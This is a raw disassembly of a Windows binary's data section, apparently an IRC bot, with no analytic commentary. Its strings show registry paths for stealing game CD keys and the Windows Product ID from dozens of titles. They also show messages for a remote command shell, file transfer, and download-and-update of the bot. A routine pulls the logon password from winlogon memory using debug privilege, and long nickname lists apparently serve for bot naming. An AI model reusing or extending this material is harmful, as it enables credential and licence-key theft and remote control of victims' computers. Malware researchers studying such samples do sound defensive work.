aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368F0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
		align 4
asc_437AEC:				; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		unicode	0, <=>,0
dword_437AF0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A30+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B6C	db  2Dh	; -		; DATA XREF: ___:00415F18o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B90	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Do
					; ___:00416313o
		dd 726F72h
unk_437BA8	db  2Dh	; -		; DATA XREF: ___:00416115o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BD4	db  2Dh	; -		; DATA XREF: ___:0041601Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BF8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE6o
		dd 74756Fh
dword_437C10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F85o
		dd 169h
unk_437C28	db  2Dh	; -		; DATA XREF: ___:00415F42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C48	db  2Dh	; -		; DATA XREF: ___:00415E9Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C6C	db  2Dh	; -		; DATA XREF: ___:00415E5Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C90	db  2Dh	; -		; DATA XREF: ___:0041638Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437CBC	db  2Dh	; -		; DATA XREF: ___:00416288o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CDC	db  2Dh	; -		; DATA XREF: ___:00416268o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416254o
unk_437D0C	db  2Dh	; -		; DATA XREF: ___:00416240o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D3C	db  2Dh	; -		; DATA XREF: ___:0041688Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D68	db  2Dh	; -		; DATA XREF: ___:0041687Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D9C	db  2Dh	; -		; DATA XREF: ___:004167C3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DE0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416752o
		dd 25206465h, 73h
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:004166DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E34	db  2Dh	; -		; DATA XREF: ___:0041665Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E5C	db  2Dh	; -		; DATA XREF: ___:004165D2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E88	db  2Dh	; -		; DATA XREF: ___:0041658Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: ___:0041657Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437ED8	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F28	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
unk_437F40	db  2Dh	; -		; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F7C	db  2Dh	; -		; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_437FB8	dd offset byte_5C3A41	; DATA XREF: sub_416C29:loc_416C6Eo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4380C0	db  2Dh	; -		; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43811C	dd offset byte_530055	; DATA XREF: sub_416F1B+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset loc_4E0047+2
		dd 0
off_438134	dd offset byte_530055	; DATA XREF: sub_416F1B+CEo
		dd offset byte_520045
		dd offset loc_41004E
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381F8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
dword_438244	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175EA+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382E8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E90
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E8C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE54	; "l"
		dd offset dword_438E7C
		dd offset dword_438E78
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E74
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E70
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset dword_438E64
		dd offset dword_438E60
		dd offset word_438E5C
		dd offset dword_438E58
		dd offset aI_0		; "I"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset aA_0		; "A"
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset word_438E18
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438BB0
		dd offset off_438BAC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A18
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385E8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E74
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aI		; "i"
		dd offset dword_42BBFC
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE54	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E90
		dd offset dword_438E78
		dd offset dword_438E8C
		dd offset dword_438E7C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E7C
		dd offset dword_438E84
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438838
		dd offset aBbl		; "|bbl"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset a___0		; "_|_"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E44
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E74
		dd offset dword_43D808
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E28
		dd offset dword_43D808
		dd offset off_4387F8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset dword_4387AC
		dd offset dword_4387A0
		dd offset dword_438798
		dd offset dword_438790
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
dword_438780	dd 7536h		; DATA XREF: ___:0043877Co
dword_438784	dd 7535h		; DATA XREF: ___:00438778o
dword_438788	dd 7C75347Ch, 0		; DATA XREF: ___:00438774o
dword_438790	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438770o
dword_438798	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043876Co
dword_4387A0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438764o
dword_4387B4	dd 6C6F6Ch		; DATA XREF: ___:00438760o
dword_4387B8	dd 746F74h		; DATA XREF: ___:0043875Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438758o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438754o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438750o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043874Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438748o
aShit		db 'shit',0             ; DATA XREF: ___:00438744o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438740o
		align 10h
